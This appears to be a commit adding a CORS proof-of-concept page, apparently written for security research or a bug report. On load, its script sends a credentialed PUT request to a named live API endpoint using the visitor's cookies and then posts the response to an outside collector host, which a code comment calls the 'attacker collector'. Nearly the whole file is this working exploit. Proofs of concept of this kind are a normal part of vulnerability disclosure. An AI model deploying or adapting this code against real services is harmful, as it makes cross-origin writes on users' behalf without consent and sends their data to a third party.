Create cors.html

avicoder · web-flow · commit 7cbcf85d0a67 · 2025-08-09T16:56:36.000+08:00
diff --git a/POC/cors.html b/POC/cors.html
@@ -0,0 +1,50 @@
+<!doctype html>
+<html>
+<head><meta charset="utf-8"><title>CORS PUT PoC</title></head>
+<body>
+<h3>CORS PUT PoC</h3>
+<script>
+async function runPoC(){
+  try {
+    const resp = await fetch('https://studio-api.jup.ag/update-token-content', {
+      method: 'PUT',
+      credentials: 'include', // include cookies/session
+      headers: {
+        'Content-Type': 'application/json'
+      },
+      body: JSON.stringify({
+        op: 'poc',
+        data: 'cors-test'
+      })
+    });
+
+    const status = resp.status;
+    let text;
+    try {
+      text = await resp.text();
+    } catch (e) {
+      text = '[unable to read body] ' + e;
+    }
+
+    // Exfiltrate response to attacker collector
+    await fetch('https://avicoder.me/collect', {
+      method: 'POST',
+      mode: 'cors',
+      headers: { 'Content-Type': 'application/json' },
+      body: JSON.stringify({
+        target: 'https://studio-api.jup.ag/update-token-content',
+        status,
+        body: text
+      })
+    });
+
+    console.log('PoC finished', status, text);
+  } catch (err) {
+    console.error('PoC error', err);
+  }
+}
+
+runPoC();
+</script>
+</body>
+</html>
